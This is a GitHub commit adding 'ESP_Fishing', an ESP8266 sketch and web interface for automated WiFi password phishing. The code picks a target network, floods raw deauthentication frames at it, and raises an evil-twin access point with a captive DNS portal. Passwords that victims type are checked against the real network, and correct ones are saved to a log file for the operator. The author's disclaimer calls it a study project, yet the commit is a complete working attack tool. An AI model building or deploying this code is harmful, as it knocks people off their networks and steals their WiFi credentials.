Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
bilibilifmk authored Mar 11, 2021
1 parent 4a2ae33 commit b1d60f0
Show file tree
Hide file tree
Showing 9 changed files with 330 additions and 1 deletion.
241 changes: 241 additions & 0 deletions ESP_Fishing/ESP_Fishing.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,241 @@
/*
ESP_Fishing v1.0
ESP82266 自动化WiFi密码钓鱼
by:发明控
仓库地址:https://github.com/bilibilifmk/ESP_Fishing
需要使用魔改SDK 否则攻击帧会被SDK忽略
基于wifi_link_tool库开发(给个Star呗)https://github.com/bilibilifmk/wifi_link_tool
需要上传文件系统
1.本项目仅供验证与学习使用,请勿对他人恶意攻击
2.对他人而已的进行攻击是违法行为
3.本项目完全面免费开源
4.禁止对该项目进行售卖!
5.你的所有操作均与作者本人无关
开源协议:General Public License v2.0 !
*/
#include <wifi_link_tool.h>
String wifiname, wifipassword;
//攻击帧
uint8_t packet[26] = {
0xC0, 0x00,
0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,
0x01, 0x00
};

void packetset(uint8_t* mac)
{
memcpy(&packet[10], mac, 6);
memcpy(&packet[16], mac, 6);
// for (int i = 0; i < 26; i++)
// Serial.println(packet[i]);
}

void dy() {
if (wifiname == "") {
File file = SPIFFS.open("/dyconfig.html", "r");
webServer.streamFile(file, "text/html");
file.close();
}
}
void dqerror () {

File file = SPIFFS.open("/error.html", "r");
webServer.streamFile(file, "text/html");
file.close();

}

void indexs()

{
if (wifiname == "") {
File file = SPIFFS.open("/index.html", "r");
webServer.streamFile(file, "text/html");
file.close();
}
}

void set()
{
if (wifiname == "") {
if (webServer.arg("ssid") != "" && webServer.arg("password") != "")
{
String ssids = webServer.arg("ssid");
String passwords = webServer.arg("password");
SPIFFS.remove("/WIFIssud.txt");
File file = SPIFFS.open("/WIFIssid.txt", "w");
file.print(ssids);
file.close();
SPIFFS.remove("/WIFIpassword.txt");
file = SPIFFS.open("/WIFIpassword.txt", "w");
file.print(passwords);
file.close();
webServer.send(200, "text/plain", "0");
delay(1000);
ESP.restart();
}
}
}
void getset()
{
String ssids = "";
String passwords = "";

File file = SPIFFS.open("/WIFIssid.txt", "r");
if (file) ssids = file.readString();
file.close();

file = SPIFFS.open("/WIFIpassword.txt", "r");
if (file) passwords = file.readString();
file.close();
if (ssids != "" && passwords != "") {
const char *ssidk = ssids.c_str();
const char *passwordk = passwords.c_str();
WiFi.softAP(ssidk, passwordk);
} else
{
Serial.println("默认配置");
WiFi.softAP("ESP_Fishing");
}

}
void getlis()
{
if (wifiname == "") {
File file = SPIFFS.open("/jl.txt", "r");
if (file) webServer.send(200, "text/plain", file.readString());
file.close();
}
}

void wifiup()
{
if (webServer.arg("ssid") != "") {
Serial.println("准备攻击:" + webServer.arg("ssid"));
wifiname = webServer.arg("ssid");
const char *ssid = wifiname.c_str();
int networksListSize = WiFi.scanNetworks();
int zt = 0;
for (int i = 0; i < networksListSize; i++) {
Serial.println(WiFi.SSID(i) + " " + WiFi.RSSI(i));
if (WiFi.SSID(i) == ssid) {
packetset(WiFi.BSSID(i));
zt = 1;
}
}

if (zt == 1) {
Serial.println("开始攻击");
webServer.send(200, "text/plain", "1");
delay(2000);
WiFi.softAP(wifiname);
digitalWrite(2, HIGH); //关闭指示灯
} else {
wifiname = "";
Serial.println("未找到设备");
webServer.send(200, "text/plain", "0");
}
}

if (webServer.arg("password") != "")

{
if (wifiname != "") {
Serial.println(wifiname + "密钥提交:" + webServer.arg("password"));
const char *ssid = wifiname.c_str();
const char *password = webServer.arg("password").c_str();
WiFi.begin(ssid, password);
Serial.print("正在测试密钥正确性");
unsigned long millis_time = millis();
while ((WiFi.status() != WL_CONNECTED) && (millis() - millis_time < 8000))
{
delay(500);
Serial.print(".");
}
if (WiFi.status() == WL_CONNECTED)
{

Serial.print("密钥正确 写入数据");
File file = SPIFFS.open("/jl.txt", "a+");
file.print(wifiname + "," + webServer.arg("password") + ",");
file.close();
webServer.send(200, "text/plain", "1");//正确
Serial.print("钓鱼完成,重启....");
delay(2000);
ESP.restart();
}
else
{
Serial.print("密钥错误继续进行");
webServer.send(200, "text/plain", "0");//错误

}



} else
{
webServer.send(200, "text/plain", "0");//错误
}



}

}

void setup() {
Serial.begin(115200);
info();
WiFi.mode(WIFI_AP_STA);
SPIFFS.begin();
getset();
WiFi.disconnect();

//后台
webServer.on("/", indexs);
//钓鱼设置
webServer.on("/dyconfig", dy);
//钓鱼页
webServer.on("/error", dqerror);
//扫描
webServer.on("/wifiscan", wifiScan);
//请求
webServer.on("/wifi", wifiup);
//记录列表
webServer.on("/get", getlis);
//设置WiFi
webServer.on("/set", set);

WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
dnsServer.start(DNS_PORT, "*", apIP);
webServer.onNotFound([]() {
File file = SPIFFS.open("/error.html", "r");
webServer.streamFile(file, "text/html");
file.close();
});
webServer.begin();

pinMode(2, OUTPUT); //设置指示灯
digitalWrite(2, LOW);
}

void loop() {
webServer.handleClient();
if (wifiname != "") {
MDNS.update();
dnsServer.processNextRequest();
wifi_send_pkt_freedom(packet, 26, 0);
//发送攻击帧
delay(1);
}


}
1 change: 1 addition & 0 deletions ESP_Fishing/data/dyconfig.html
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="fs_wifi_link_tool" content="width=device-width,initial-scale=1"><style>.ball-grid-pulse{width:200px}.ball-grid-pulse>div:nth-child(1){-webkit-animation-delay:-60ms;animation-delay:-60ms;-webkit-animation-duration:.72s;animation-duration:.72s}.ball-grid-pulse>div:nth-child(2){-webkit-animation-delay:.25s;animation-delay:.25s;-webkit-animation-duration:1.02s;animation-duration:1.02s}.ball-grid-pulse>div:nth-child(3){-webkit-animation-delay:-.17s;animation-delay:-.17s;-webkit-animation-duration:1.28s;animation-duration:1.28s}.ball-grid-pulse>div:nth-child(4){-webkit-animation-delay:.48s;animation-delay:.48s;-webkit-animation-duration:1.42s;animation-duration:1.42s}.ball-grid-pulse>div:nth-child(5){-webkit-animation-delay:.31s;animation-delay:.31s;-webkit-animation-duration:1.45s;animation-duration:1.45s}.ball-grid-pulse>div:nth-child(6){-webkit-animation-delay:30ms;animation-delay:30ms;-webkit-animation-duration:1.18s;animation-duration:1.18s}.ball-grid-pulse>div:nth-child(7){-webkit-animation-delay:.46s;animation-delay:.46s;-webkit-animation-duration:.87s;animation-duration:.87s}.ball-grid-pulse>div:nth-child(8){-webkit-animation-delay:.78s;animation-delay:.78s;-webkit-animation-duration:1.45s;animation-duration:1.45s}.ball-grid-pulse>div:nth-child(9){-webkit-animation-delay:.45s;animation-delay:.45s;-webkit-animation-duration:1.06s;animation-duration:1.06s}.ball-grid-pulse>div{background-color:#ebadbe;width:50px;height:50px;border-radius:100%;margin:2px;-webkit-animation-fill-mode:both;animation-fill-mode:both;display:inline-block;-webkit-animation-name:ball-grid-pulse;animation-name:ball-grid-pulse;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-delay:0;animation-delay:0}@-webkit-keyframes ball-grid-pulse{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(.5);transform:scale(.5);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes ball-grid-pulse{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(.5);transform:scale(.5);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}body{color:#434343;font-family:"SF Pro Text","SF Pro Icons","Helvetica Neue",Helvetica,Arial,sans-serif;font-size:10px;line-height:1.42857142857143;padding:20px}a{text-decoration:none}button:focus,input:focus{outline:0}#container{margin:0 auto;max-width:350px}#scan-btn{display:block;background:#d0d3d4;border:none;border-radius:25px;cursor:pointer;font-size:18px;height:45px;line-height:45px;margin:18px auto;padding:0 30px}#reboot-btn{display:block;background:#d0d3d4;border:none;border-radius:25px;cursor:pointer;font-size:18px;height:45px;line-height:45px;margin:18px auto;padding:0 30px}#ssid-list{margin-top:20px;box-sizing:border-box;border-radius:18px;width:100%;background:#f4f6f6}#ssid-list>li{line-height:32px;position:relative;cursor:pointer;display:block;padding:8px 15px}#ssid-list>li:first-child{border-top:0;border-top-left-radius:20px;border-top-right-radius:20px}#ssid-list>li:last-child{border-bottom-left-radius:20px;border-bottom-right-radius:20px}#ssid-list>li:hover{background:#d0d3d4}.wifi-logo{position:absolute;top:14px;height:18px}.encrytype{color:#999;display:inline-block;z-index:1;position:absolute;right:16px}.ssid_name{margin-left:34px;font-size:16px}#secondary-menu{display:none;width:300px;height:310px;position:fixed;top:180px;left:calc(50% - 150px);background:#f4f6f6;border-radius:25px;text-align:center}#secondary-menu-ssid{margin-top:12px;font-size:20px;display:inline-block}#key-icon{position:absolute;left:30px;top:75px;width:25px}#wifi-pass{margin-top:25px;width:260px;height:40px;font-size:18px;border:none;border-radius:25px;text-align:center}#wifi-pass-sub{width:200px;height:30px;border:none;border-radius:35px;background:#d0d3d4;line-height:18px;margin:18px 5px 0 5px;font-size:18px;opacity:.6}#secondary-menu-back{cursor:pointer;position:absolute;top:18px;left:18px;font-family:Consolas;font-size:16px;width:13px;height:13px;line-height:30px;border-top:3px solid #a1a1a1;border-left:3px solid #a1a1a1;transform:rotate(-45deg)}#status{display:none;margin-top:50px;font-size:28px;text-align:center}</style><style>*,html{-webkit-user-select:text!important;-moz-user-select:text!important}</style></head><style>*,html{-webkit-user-select:text!important;-moz-user-select:text!important}</style><body><h1 style="text-align:center;font-size:40px">WiFi钓鱼</h1><p style="color:#999;text-align:center">仓库地址 :https://github.com/bilibilifmk/ESP_Fishing</p><div id="container"><button onclick="scan()" id="scan-btn">扫描WIFI</button><div id="ssid-list"></div></div><div id="secondary-menu"><div id="secondary-menu-back" onclick="back()"></div><div id="secondary-menu-ssid"></div><h1>用户协议</h1><p>1.本项目仅供验证与学习使用,请勿对他人恶意攻击</p><p>2.对他人而已的进行攻击是违法行为</p><p>3.本项目完全面免费开源</p><p>4.禁止对该项目进行售卖!</p><p>5.你的所有操作均与作者本人无关</p><button id="wifi-pass-sub" onclick="connect()">我遵守协议并坚持继续</button><p>Powered by blblfmk</p></div><div id="status"><div class="loader-inner ball-grid-pulse" style="margin:0 auto"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div></div><script>function $(s){return document.getElementById(s)}function reboot(){var s;window.XMLHttpRequest&&(s=new XMLHttpRequest),s.onreadystatechange=function(){4==s.readyState&&200==s.status&&""!=s.responseText&&window.open("http://"+s.responseText)},s.open("GET","/opera?opera=reboot"),s.send()}function scan(){$("scan-btn").setAttribute("disabled","disabled"),$("scan-btn").style.cursor="default",$("scan-btn").style.opacity="0.6",$("ssid-list").innerHTML="",$("ssid-list").style.display="none",$("status").style.display="block";var i=new XMLHttpRequest;i.onreadystatechange=function(){if(4==i.readyState&&200==i.status){var s,e,t;for($("scan-btn").style.cursor="pointer",$("scan-btn").style.opacity="1",$("ssid-list").style.display="block",$("status").style.display="none",res_json=JSON.parse(i.responseText),s=0;s<res_json.req.length;s++){for(e=t=0;e<res_json.req.length;e++)res_json.req[t].rssi<res_json.req[e].rssi&&(t=e);var n=document.createElement("li");n.id="ssid"+s,n.setAttribute("onclick","ssid_select('"+n.id+"')"),-45<=res_json.req[t].rssi?n.innerHTML+="<img class='wifi-logo' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAArBAMAAADWAfZiAAAAIVBMVEVkZGRHcEzj4+N4eHisrKySkpJ4eHiXl5eHh4eAgIBqamownJsxAAAACnRSTlP+ABXfPZL6ZK/JavXHrwAAAeVJREFUOMt9k8tPAjEQxichMdpbyxIft4rP2wo+uUFQzqj44GSibtSbhojxZoyKnNRED542IUTcv9KZtstugbWnbn+dzjff7AC3lpTS+oZoKypH+Xx+q9aQI7DY/gp8oBVc7g9h51Eztdha0caLBbD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YUnGF5zgZSMgYbOZAJeDSx8MiXa105pw7KnnUywNC4rg2pSwRtKZ8wNizB60oFuyQlGfimBt37/kaK5ojS4Ng635nm+M+LbAYywDu1NLvYYkfEuRryfm/2KfsX4UcB/l2Pyc6U7JS/39ub+k/4TnKjOfDlGfp3nP2LnNiY3b92cYHFvOyeYXNs5wchtZ/wHCeuN70G4JAkAAAAASUVORK5CYII='>",n.innerHTML+="<span class='encrytype'>"+res_json.req[t].encryptionType+"</span><span id='ssid_name"+s+"' class='ssid_name'>"+res_json.req[t].ssid+"</span>",$("ssid-list").appendChild(n),res_json.req[t].rssi=-999}$("scan-btn").removeAttribute("disabled")}},i.open("GET","/wifiscan",!0),i.send()}var ssid_name;function ssid_select(s){var e;ssid_name=$(s).children[2].innerHTML,$("container").style.display="none","Open"==$(s).children[1].innerHTML?connect():($("wifi-pass-sub").setAttribute("disabled","disabled"),$("secondary-menu-ssid").innerHTML=ssid_name+" 进行操作?",$("secondary-menu").style.display="block",150<$("secondary-menu-ssid").offsetWidth&&(e=$("secondary-menu-ssid").innerHTML,$("secondary-menu-ssid").innerHTML=e.substr(0,e.length-4)+"...")),$("wifi-pass-sub").style.cursor="pointer",$("wifi-pass-sub").style.opacity="1",$("wifi-pass-sub").removeAttribute("disabled")}function back(){$("secondary-menu").style.display="none",$("container").style.display="block",$("wifi-pass-sub").style.cursor="default",$("wifi-pass-sub").style.opacity="0.6",$("wifi-pass").value=""}function connect(){$("secondary-menu").style.display="none",$("status").style.display="block";var s=new XMLHttpRequest,e="./wifi?ssid="+ssid_name;s.onreadystatechange=function(){4==s.readyState&&200==s.status&&("0"==s.responseText?$("status").innerHTML="<p>通信失败</p":$("status").innerHTML="<p>进入钓鱼模式</p><p>断开设备连接</p><p>自动化钓鱼LOAD...</p>")},s.open("GET",e,!0),s.send(),$("wifi-pass-sub").style.cursor="default",$("wifi-pass-sub").style.opacity="0.6",$("wifi-pass").value=""}</script></body></html>
Loading

0 comments on commit b1d60f0

Please sign in to comment.